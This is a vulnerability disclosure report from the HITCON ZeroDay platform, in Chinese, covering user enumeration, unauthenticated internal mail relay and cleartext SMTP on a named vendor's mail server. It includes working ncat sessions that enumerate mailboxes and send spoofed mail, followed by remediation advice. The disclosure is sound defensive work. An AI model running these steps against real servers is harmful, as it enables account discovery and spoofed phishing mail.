Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00865
- Vendor: 外婆滴雞精
- Title: 外婆滴雞精 25 Port 的 SMTP Server,有潛在的(內部使用者枚舉 + Internal Mail Relay + 明文傳輸)風險
- Introduction: 潛在的(內部使用者枚舉 + Internal Mail Relay + 明文傳輸)風險
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2025/07/31 16:13:10 : 新提交 (由 yusheng 更新此狀態)
- 2025/08/05 20:48:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/06 18:05:04 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/06 18:05:04 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/06 18:05:04 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/07 11:55:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/07 11:55:10 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/07 11:55:11 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/30 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00865
- 通報者:cat1528985 (yusheng)
- 風險:中
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
相關網址
敘述
漏洞的種類:
-
內部使用者枚舉 (User Enumeration)
CWE-204: Observable Response Discrepancy
CWE-203: Observable Discrepancy
CWE-359: Exposure of Private Personal Information to an Unauthorized Actor -
Internal Mail Relay
CWE-284: Improper Access Control
CWE-863: Incorrect Authorization
CWE-923: Improper Restriction of Communication Channel to Intended Endpoints -
明文傳輸 (Cleartext Transmission)
CWE-319: Cleartext Transmission of Sensitive Information
CWE-326: Inadequate Encryption Strength
CWE-311: Missing Encryption of Sensitive Data
PoC 操作影片:https://drive.google.com/file/d/13iBt1AMjOk4X0kxI3QULhwVbJowyZ6LO/view?usp=sharing
參考 RFC 文獻:
| Topic | URL |
|---|---|
| Simple Mail Transfer Protocol | https://datatracker.ietf.org/doc/html/rfc5321 |
| Internet Message Format | https://datatracker.ietf.org/doc/html/rfc5322 |
| Authentication | https://datatracker.ietf.org/doc/html/rfc4954 |
重現漏洞方式:
以下皆為終端機的輸入跟輸出,使用 ncat 作為連線到 25 Port SMTP Server 的工具
-
連線到 www.grandma520.com 的 25 port,-C 代表 Enter 鍵在 linux 系統會被轉譯為 CRLF 而不是 LF(因為 SMTP 是用 CRLF 換行)
ncat -C www.grandma520.com 25 220 NS3.home ESMTP MailEnable Service, Version: 10.52-- ready at 07/31/25 15:23:34 -
嘗試輸入 mail from 指令,這個步驟代表指定寄件人,Server 回傳 ok
mail from:<1@1> 250 Requested mail action okay, completed -
嘗試輸入 rcpt to 指令,這個步驟代表指定收件人,根據 Server 回傳的錯誤訊息,推測 @gmail.com 是 non-local e-mail address
rcpt to:<[email protected]> 503 This mail server requires authentication when attempting to send to a non-local e-mail address. Please check your mail client settings or contact your administrator to verify that the domain or address is defined for this server. -
重新指定寄件人,因為剛才的 rcpt to 指令失敗
mail from:<2@2> 250 Requested mail action okay, completed -
再次枚舉收件人,這次使用一個不存在的使用者123 + 通過 domain 推測該企業的 email 地址為 @grandma520.com,Server 表示 mailbox unavailable
rcpt to:<[email protected]> 550 Requested action not taken: mailbox unavailable or not local. -
重新指定寄件人,因為剛才的 rcpt to 指令失敗
mail from:<3@3> 250 Requested mail action okay, completed -
再次枚舉收件人,這次使用比較常見的 admin 帳號 + @grandma520.com,枚舉成功,Server 過了約10秒才響應,推測背後真的有去查詢資料庫
rcpt to:<[email protected]> 250 Requested mail action okay, completed -
使用 data 指令,嘗試寄送 email,SMTP 規範用 CRLF.CRLF 來作為結尾,Server 回傳 250 Ok,最後使用 quit 斷開連線
data
354 Start mail input; end with <CRLF>.<CRLF>
date: Fri, 25 Jul 2025 14:30:00 +0800
from: 3@3
test
.
250 Requested mail action okay, completed
quit
221 Service closing transmission channel
修補建議
內部使用者枚舉
- rcpt to 指令避免回傳太詳細的錯誤訊息,可以回傳統一的錯誤訊息
- rcpt to 指令的 response time 固定(例如 10 秒),避免攻擊者透過秒數的差異(花比較長時間 = 資料庫有查到)來推測使用者是否存在
Internal Mail Relay
- 即便是寄信給內部使用者 (@grandma520.com),也強制需要先登入(發送 auth 指令),或是限制 client IP
明文傳輸
- 建議強制 TLS(執行 mail from 指令前,必須先發送 starttls 指令,明文傳輸有可能造成中間人攻擊)